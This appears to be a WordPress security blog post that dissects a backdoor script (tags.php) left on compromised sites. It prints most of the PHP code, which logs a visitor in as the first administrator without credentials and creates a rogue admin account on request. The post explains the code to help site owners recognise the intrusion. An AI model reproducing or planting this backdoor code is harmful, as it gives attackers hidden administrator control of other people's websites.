Your basket is currently empty!
Ever wondered how hackers regain access to WordPress sites? Here’s a breakdown of a typical malware script often left behind as a backdoor. These scripts allow attackers admin access to a site whenever they like! Let’s explore one such example.
Frequently this file is left in the root of the website’s server and is called tags.php
but could be located anywhere and called anything, it would work just the same. So, let’s get into it …
the setup
The first thing the script does is define a couple of constants …
define('WP_USE_THEMES', false);
define('WP_DIRECTORY', load_wordpress_core());
Straight away the first constant defined here WP_USE_THEMES
is used to prevent WordPress from loading a theme. This is probably done in case any of the plugins in the WordPress installation try to load a theme.
The second constant defined, WP_DIRECTORY
, is not a WordPress core constant and is set to the result of their custom load_wordpress_core()
function.
Finding WordPress
This function is used to try to locate where WordPress is installed on the server.
function load_wordpress_core() {
$current_directory = dirname(__FILE__);
while ($current_directory !== '/' && !file_exists($current_directory . '/wp-load.php')) {
$current_directory = dirname($current_directory);
}
return $current_directory ? : $_SERVER['DOCUMENT_ROOT'];
}
This function starts from the directory where the script is located and then traverses up the web server’s directory structure until it finds a file called wp-load.php
which not only highlights where WordPress is installed but also is the file that’s included in a script to load WordPress core without a theme.
We assume that the script goes to this trouble to make sure a theme isn’t loaded so that no extra HTML is sent back with the script’s results.
If the wp-load.php
file cannot be found then the root directory of the web server is returned as specified by the server itself.
The directory returned is then saved in the WP_DIRECTORY
constant.
Loading Core Functionality
Now that wp-load.php
has been found, the script uses it to load WordPress …
require_once WP_DIRECTORY . '/wp-load.php';
Creating a Custom Class
Next the script creates a custom class and uses it to create an object from it …
class November {
public function __construct() {
$this->action = $_REQUEST['action'];
}
}
$nov = new November();
$nov->doAction();
We’re not sure the relevance to the name November
, perhaps it was this hacker’s favourite month? Who knows. Anyway, once the object $nov
has been created, it automatically sets up a property called action
which grabs the value of the corresponding element in a GET request’s query string, POST variable or cookie. In essence, if the script was called with the request example.com/tags.php?action=XXX
or if it was called from a form with a form element called action
and value XXX
or if a cookie called action
with value XXX
was sent then in either case the value of the action
property would be set to XXX
.
The value of this action
property is then used to decide what the script will actually do when the doAction()
method is called.
Creating Random Passwords
The November
class has another method which generates random strings which is used to create a password.
private function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
In short, the method above will output a string of characters that is 8 characters long (if $length
isn’t specified when calling it). It chooses the characters at random from the list of uppercase, lowercase characters and numbers.
Impersonating an Admin
So now to what the doAction()
method will do if it gets the command login
set in action
.
$user = get_users(["role" => "administrator"])[0];
$user_id = $user->data->ID;
wp_set_auth_cookie($user_id);
wp_set_current_user($user_id);
die("Probably $user_id?");
Since wp-load.php
has been loaded, all the WordPress core functions and the WordPress database is available to the script. So it can use the core get_users()
script to get the first user with administrator privileges that it can find in the wp-users
database.
Next it gets the unique identification number of the retrieved user. Once it has this, it can use the core wp_set_auth_cookie()
and wp_set_current_user()
(this one may actually be superfluous) functions to tell WordPress that this user has signed. This in turn will instruct the web server to send login cookies back and just like that the hacker is signed into the target website as an administrator!
No username needed. No password needed. It’s game over.
Finally the script terminates itself and sends back the user ID of the signed in administrator for confirmation.
Creating a Rogue Admin Account
If that wasn’t enough, the script also has the ability to create a new administrator account if it receives the command create
set in action
.
$username = 'admin' . rand(1000, 9999);
$password = $this->generateRandomString(8);
$email = $username . '@admin.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
die('Error: ' . $user_id->get_error_message());
} else {
$user = new WP_User($user_id);
$user->set_role('administrator');
die("Username: $username, Email: $email, Password: $password");
}
} else {
die('User already exists');
}
First it chooses a username that starts with “admin” and ends with a four digit random number. It also gets a random 8 character password using the generateRandomString()
method defined before. And then makes up a fictitious email address based on the chosen username “@admin.com”.
With these details chosen it checks to see if a user with these details exists. If it does it terminates saying so. If it doesn’t then it gets WordPress to create the user using the core wp_create_user()
function.
If that fails then it terminates with the error message. Otherwise, it loads the new user and sets administrator permissions for it using the WP_User::set_role method.
Mission accomplished the script terminates with a message as to what the new user’s username, email and password is and once again, game over.
Final Thoughts
If none of these actions are presented then the script helpfully lets the hacker know …
$this->message['message'] = 'Nothing to do??';
echo json_encode($this->message);
… by rather un-necessarily creating a property called message
(which isn’t used anywhere else) which says “Nothing to do??”. This is then encoded with and sent back.
So, if you see a script like this on your website then your site is extremely vulnerable and needs immediate attention!
Take care out there!
Leave a Reply